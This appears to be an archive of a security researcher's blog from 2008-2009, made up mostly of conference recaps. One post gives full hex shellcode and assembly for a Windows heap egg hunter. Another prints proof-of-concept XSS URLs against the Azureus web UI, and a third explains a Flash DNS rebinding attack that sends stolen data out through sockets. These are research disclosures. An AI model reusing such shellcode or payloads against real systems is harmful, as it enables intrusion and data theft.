Friday, March 13, 2009

[ Heap-only Egg Hunter ]

As Nate said in a recent blog post, it's often useful to reinvent the wheel, if only for one's own edification. Through attempting to write my own egg hunter I learned much more than I would have if I had simply plugged in skape's.

The exploit itself was very simple, but one of the issues we faced was reliability. The payload was being truncated when it was moved to the stack so we only had approximately 200 bytes to work with. However, the full payload was located in several different heaps throughout memory so this was a classic case for an egg hunter.

My idea was to write shellcode that would search only the heap for the full payload based on a lookout value which could also double as a sled. As I discovered, one of the important limiting factors in writing an egg hunter is the minimum size needed for a main payload (e.g. executing a command on the operating system). It's not very useful to have an egg hunter that is, for instance, 250 bytes. Kind of defeats the purpose. Mine ended up being 102 bytes, and I cheated a bit.

It does search the system heaps, but it also searches a bit more. Abstractly, here's how my egg hunter works:
  • Get address of TEB
  • Get address of PEB from TEB + 0x30
  • Get address of list of process heaps from PEB + 0x90
  • Get address of first heap
  • Add 0x100000 to heap address and push onto stack
  • Check if memory being pointed to is greater than heap base + 0x100000
    • If yes, start searching the next heap in the list
  • Check if memory being pointed to is accessible
  • Compare 4 bytes to lookout value
    • If equal check the next 4 bytes
      • If equal, jump there and slide into payload
      • If not equal increment the address being checked
    • If not equal increment the address being checked
The ideal way for this to have worked would have been to have it actually walk the heap lists, checking only the allocated memory segments. But, as mentioned above, there were size constraints.

By the way, I used skape's code for checking memory to see if it's accessible in my egg hunter. Worked beautifully.

In hex bytes:
$hunter =
"\xeb\x03".
"\x59".
"\xeb\x05".
"\xe8\xf8\xff\xff\xff".
"\x83\xc1\x0f".
#"\xb8\x41\x41\x41\x18".
"\xb8\x41\x41\x41\x30".
"\xc1\xe8\x18".
"\x89\x01".
"\x64\xa1\x41\x41\x41\x41".
#"\x8b\x40\x30".
#"\xb3\x90".
#"\x02\xc3".
"\x04\x90".
"\x8b\x38".
"\x33\xc9".
"\xb5\x10".
"\xc1\xe1\x08".
"\xb7\x03".
"\xb3\xe8".
"\xeb\x03".
"\x83\xc7\x04".
"\x8b\x37".
"\x03\xce".
"\x51".
"\xeb\x02".
"\x03\xf3".
"\x3b\x34\x24".
"\x7f\xef".
"\x8b\xd6".
"\x6a\x02".
"\x58".
"\xcd\x2e".
"\x3c\x05".
"\x74\xee".
"\x81\x3e\x42\x4a\x42\x4a".
"\x75\xe6".
"\x83\xfd\x01".
"\x75\x02".
"\xff\xe6".
"\x83\xc6\x04".
"\x33\xed".
"\x45".
"\xeb\xde";

In assembly:
jmp short 0x03
pop ecx
jmp short 0x05
call 0xf8
add ecx,0x0f
mov eax,0x30414141
shr eax,18
mov dword ptr[ecx],eax
mov eax,dword ptr fs[0x41414141]
add al,0x90
mov edi,dword ptr[eax]
xor ecx,ecx
mov ch,0x10
shl ecx,0x08
mov bh,0x03
mov bl,0xe8
jmp short 0x03
add edi,0x04
mov esi,dword ptr[edi]
add ecx,esi
push ecx
jmp short 0x02
add esi,ebx
cmp esi,dword ptr[esp]
jg short 0xef
mov edx,esi
push 0x02
pop eax
int 0x2e
cmp al,0x05
je short 0xee
cmp dword ptr[esi],0x4a424a42
jnz short 0xe6
cmp ebp,0x01
jnz short 0x02
jmp esi
add esi,0x04
xor ebp,ebp
inc ebp
jmp short 0xde

I'm sure this could probably be optimized and/or made to work more efficiently, but I am no assembly programmer.

edit: Another bit of code for my egg hunter that I got from elsewhere are the first 4 instructions. I took them from the Metasploit payloads. They are used to get the address where the

add ecx,0x0f

instruction resides on the stack as a reference point. The Metasploit payloads use these instructions to begin the process of decoding an encoded payload. A few instructions later I use my reference point to modify the

mov eax,dword ptr fs[0x41414141]

instruction in memory. I needed to do this in order to have the correct hex opcodes in memory to assemble into the following instruction:

mov eax,dword ptr fs[0x18]

That instruction assembles as \x64\xa1\x18\x00\x00\x00 which is obviously no good in a payload brought into the program as a string. The purpose of that instruction is to get the address of the TEB and put it into eax, which I then use an offset of to get the address of the PEB.

edit 2: I've modified the shellcode and assembly to reflect a change suggested by Jordan in the comments below and another small change I noticed would decrease the size of the shellcode. It's now < 100 bytes (97 bytes).

Labels: , , , , , ,

Sunday, August 10, 2008

[ Black Hat Vegas 2008 Recap ]

First of all, I want to say thank you to all the people who came out and supported Nate, John and I for our talk.


We had a great turnout despite the fact that we were talking in the same time slot as such notable speakers (Dowd, Sotirov, Rutkowska, MSRC, Grossman). The audience was great (including the huge EY contingent that showed up) and we got some wonderful feedback after. We also did a podcast with Rich Mogull of Securosis right after the talk which you can find here.

On top of all this, Nate, Billy Rios and I won the Pwnie Award for Best Client Side Attack (which should have gone to Mark Dowd btw). This year's Black Hat Vegas (only my second) was a great time. I got to meet some great people and hang in some swanky places.

Special thanks to the entire Black Hat crew for having us come out and give our talk.

Now it's time to get back to the research ;)

Labels: , , , , , , , , ,

Monday, July 21, 2008

[ Pwnie Nomination ]

I just learned that Nate McFeters, Billy Rios and I have been nominated for pwnies for the best client-side attack.


It's a huge honor to even be nominated but most of the credit should go to Nate and Billy. They were really the driving force behind the discovery of these issues, I just wrote an exploit to steal people's pics. Even though our research has taken a different direction (except for Billy's recent 0wning of Firefox) I think protocol handlers are still quite viable for exploitation.

Anyway, I haven't been doing much in the way of research lately but I'm beginning to feel the itch again. There's still so much pwnage to be had out there and I'd like to get a piece of the action.

Labels: , , , , , ,

Monday, May 12, 2008

[ We're In @ Black Hat Vegas ]

Holy crap! I can't believe we actually got in!


The first computer security conference I ever attended was Black Hat Vegas last year and now I'm going to be speaking there with Nate McFeters, Billy Rios and John Heasman. Crazy. I've spoken now at Black Hat Japan, Federal and Europe, but Vegas is The Big Show. Thanks to everybody who voted for us.

Our talk is entitled "The Internet Is Broken: Beyond document.cookie - Extreme Client Side Exploitation". We're going to show some pretty sick stuff there and it's going to be a two-session deal. Prepare yourself for a brain-meltingly awesome talk.



See you in Vegas!

Labels: , , , , , ,

Thursday, May 08, 2008

[ Blue Hat Day 2 ]

I think I'm sufficiently recovered to blog about day 2.


I'm just kidding, it wasn't that bad, but I did drink a ton of vodka that night at the IOActive-sponsored limo races, and the Jello shots at the end didn't help at all either.

But let's rewind a bit and reminisce about the talks. Billy and Nitesh started off the conference in style with their Bad Sushi talk. Even though I've seen this talk 3 times I still enjoy it immensely.

Then kuza55 (Alex K.) talked about The Browser and Other Mistakes. It's been said before by others that his grasp of web app security is amazing for his age and I agree, but he's also a pretty cool guy to hang out with as well. He had some great stuff in his talk and some of the things he mentioned gave me ideas for future research.

Another talk I really enjoyed was Manuel Caballeros' talk about resident scripts. That talk was sick. I couldn't believe some of the stuff I was seeing. That will definitely be a focus in some of my future research into other languages.

Also, I got to meet Peleus Uhley and Eric Lee of the Adobe product security team. We worked pretty closely with them to get our Flash DNS Rebinding issue fixed.

When all was said and done I really had a great time there and I can't believe I was actually invited to attend. Thanks again to Katie Moussouris for inviting Nate and I out to the Microsoft campus. And kudos to the MSRC for all their efforts in the security space. It really looks like things are heading in the right direction. Unfortunately that makes my job more difficult...

I'll leave you with a picture from the inside of team Stoners/Hippies limo before our booze was stolen by certain unnamed assailants:


By the way, Nate has a pretty good writeup about Blue Hat over on the ZDNet Zero Day blog. Check it out.

Labels: , , , , , , ,

Friday, May 02, 2008

[ Blue Hat Day 1 ]

I'm not going to say much in this post because I'm really tired right now. Mostly because I traveled today and it's 3:30 am in my time zone. But I'm back in Seattle again (last time was about two weeks ago) and this time it's for Microsoft's Blue Hat conference.


Microsoft held a welcoming party for everybody at the See Sound Lounge in downtown fairly close to the waterfront. Pretty cool place, live DJ, good finger foods and free alcohol. I got to hang out with Nate, Billy, John, Kev, Nitesh, h1kar1, kuza55, fukami, Peleus Uhley and Dan "Sombrero" Kaminsky. I think I see some of these guys more than I see my girlfriend these days.

But anyway, seems like they have a great line up of speakers and topics here and I'm really honored that I was invited to attend. Let the talks begin!

Labels: , , , , , , ,

Wednesday, April 30, 2008

[ Azureus Web UI XSS ]

Like I said in my uTorrent CSRF post, "more torrent pwnage to come soon". Here it is.


The web UI plugin for Azureus is vulnerable to XSS which leads to Cross Zone scripting attacks since it starts up a web server on the local host and runs a web application.

I won't take the time to explain what all this means since I've done that at length in previous posts. I'll just summarize and say that through these vectors the user is vulnerable to arbitrary command execution, arbitrary read/write of files, and bypass of the same-origin policy (depending on the browser version the victim is using). Let's get right to the attacks.


http://localhost:6886/index.tmpl?search="));alert('xss');//

The vector listed above is one that I found in the search functionality of Azureus.

http://localhost:6886/index.tmpl?d=d&t="));alert('xss');//

And this one Nate found in the torrent details functionality. Obviously the "alert"s are just for PoC.


The post I referenced in a previous blog entry where I disclosed my uTorrent flaws has an example of an interesting CSRF related to the Azureus web UI, although this doesn't lead to system compromise necessarily.

Anyway, this is just another example of how web applications that have been coded with little thought towards security being run on your local machine are highly dangerous.

Labels: , , , , , , , , , , ,

Sunday, April 20, 2008

[ toorcon Seattle was Awesome ]

I had a great time at toorcon Seattle. The talks were awesome.


Dan Kaminsky dropped a bomb about how ISPs were taking non-existent subdomains and redirecting them to ad-servers. And let's say these web sites serving up these ads contain an XSS...yeah, MASS pwnage. Gotta love how docucment.domain works. Dan actually rickrolled us all.

And then John Heasman's talk about the Java browser plugin and Java Web Start was equally enlightening. Sun has some major problems in their implementations of certain aspects of Java. Anyway, I hope Kev is included more in the next version of his talk...

Katie Moussouris gave a pretty interesting talk on her role at Microsoft and what they're trying to do for responsible disclosure...WHAT? I said Microsoft really is advocating responsible disclosure these days...WHAT?! I said Microsoft seems to really be turning things around...OK!!!!


The talk Nate and I did on URI Use and Abuse seemed to get a good response as well. Anyway, there were other great talks that I'm too tired to include right now, but I just want to commend the toorcon team. They really outdid themselves with the parties they threw at the Public N3rd Area and the Last Supper Club. Hats off to all of them. Toorcon San Diego last year was the first one I had ever been to but I'm going to try to make it a point to come back to as many toorcons as possible.


Especially the one in the cooling tower of the half-built nuclear plant!

Labels: , , , , , , , ,

Saturday, April 19, 2008

[ toorcon Seattle ]

Well, I'm in the beautiful city of Seattle and have just enjoyed the first night of the conference put on by h1kar1 and team. I loved the live DJ's and the Public N3rd Area.

But before I got there, I saw this on one of the screens at the airport in my home town:


At least they've upgraded from 98 to XP... Sorry for the blurry picture quality, I was in a hurry.

But it's time for me to get some sleep. Nate and I have to rework our talk to fit into a 20 minute slot. Can't wait to hear Dan Kaminsky and John Heasman's talks.

Labels: , , , , ,

Wednesday, April 09, 2008

[ Flash DNS Rebinding Attack Explained ]

Instead of waiting a couple days to post about this, I guess I'll do it now. It's a pretty interesting flaw and since no one has posted the technical details of it yet, I'll be the one to do it.

First of all, this attack relies on DNS canonicalization differences between the browser and Flash. I'm going to pick on IE for this example.

So let's say your DNS search domain is mycompany.com and let's say your browser tries to go to the evil.com website. If evil.com can't be reached your system will start to look through your search domain by performing a DNS lookup for evil.com.mycompany.com (this is difficult because I need to be careful of my use of periods).

On the other hand, if your browser tries to go to evil.com. (notice the dot(.) on the end of that domain name) and it can't connect to it then it won't do any further lookups. It treats evil.com. as an absolute domain (I'm probably not using that terminology correctly, oh well).

The important thing to know here is that IE and Flash treat the differences between evil.com and evil.com. differently.


IE:
You go to evil.com, DNS lookup is performed for evil.com, the browser pins the resulting IP to evil.com and life is good. Then you go to evil.com., IE sees evil.com. as a totally DIFFERENT domain, performs a DNS lookup, pins that IP to evil.com. and life is still good.

All of the cross domain restrictions are in place that you would normally have. XMLHTTP requests are blocked, iframes are protected, etc.


Flash:
The SWF originates from the evil.com domain so URLLoader requests can only be made back to the same domain. But, Flash sees evil.com and evil.com. as THE SAME DOMAIN.


Attack:
Armed with the information above, we can come up with an attack scenario. Since IE treats evil.com and evil.com. as different domains and Flash treats them as the SAME domain, this means pwnage.

Flash allows requests to be made for evil.com. since it sees that as being the originating domain, it passes them off to IE which sees evil.com. as a DIFFERENT domain and performs a DNS lookup. By this time the attacker has changed the IP address for evil.com, either manually or automatically. IE performs the HTTP request for evil.com., passes that result back to Flash and it has now been pwned.


There is one obvious issue with what I've described above: How do you get the information you've obtained through your nefarious means back to your server if you're the attacker? Now that the domain evil.com is rebound in Flash it doesn't seem like an easy proposition.

That's where crossdomain.xml and the Socket class come in. If you have a crossdomain.xml file on your server and another domain name associated with that server, like 0mgurs0pwn3d.com, you can connect back and send the information you've stolen through binary (or probabably even XML) sockets.

Like I mentioned before, Nate and I used this exact flaw in our Picasa exploitation. I couldn't get traditional Anti-DNS Pinning working reliably so came up with this solution.

Labels: , , , , , , ,

[ Flash DNS Rebinding Flaw Fixed ]

Well, I guess I can talk about it now since they've fixed it. Nate and I found a DNS rebinding flaw in Adobe Flash that had to do with domain name canonicalization. I'm going to post a more in depth explanation of how it worked in the coming days but I'm too busy for that right now.


Anyway, just a quick hint, this issue is actually the one we used to pull of our Picasa exploit in a reliable fasion...

edit: I would also like to point out that this is not the issue pdp found that he used to exploit routers via CSRF. I think the CVE we are given credit for in the Adobe advisory may be incorrect because it does not describe the vulnerability we discovered.

edit 2: Apparently the CVE reference was a typo on Adobe's part. Should be fixed soon hopefully. Also, there were 7 separate vulnerabilities addressed in the patch that was released including the flaw used to bring the Vista system to its knees in Pwn2Own.

edit 3: The CVE for the DNS Rebinding vulnerability is CVE-2008-1655.

Labels: , , , , , ,

Sunday, March 30, 2008

[ I Survived! ]

Well, I've safely returned to the States with some great memories and some new friends. As you can see below, I narrowly escaped Death.


I had an awesome time at Black Hat Europe. I got to briefly meet FX finally. I saw his talk at Black Hat Federal on Cisco IOS and forensics and really enjoyed it. I also got to hang out with my good friends Nate, Billy, Nitesh, David and Tiller. Unfortunately, even though I've seen their presentation twice now I don't remember the URL for David and Tiller's blog.

Anyway, I had a blast and as always I came away with a ton of new ideas.

Labels: , , , , , , , ,

Wednesday, March 26, 2008

[ Black Hat Europe ]

After a nine hour flight and around four hours of sleep I'm finally in Amsterdam.


I've registered for Black Hat and taken in some of the sights that Amsterdam has to offer and am very much enjoying myself so far. Nate and I walked down to the Waag yesterday. Apparently it's a restaurant that looks a bit like a small castle and used to be a weigh house, whatever that is.

Too bad it's so cold here, but I come from a cold place so I guess I should stop whining. Can't wait for the talks to start on Thursday!

Labels: , , , ,

Friday, February 29, 2008

[ ZDNet Zero Day Blog ]

Just want to mention my good buddy Nate's postings over at the zdnet zero day blog.

Blackhat Federal Day 1

Blackhat Federal Day 2

Airport Security

Congrats man. Now everybody go take a look and learn something!

Labels: , ,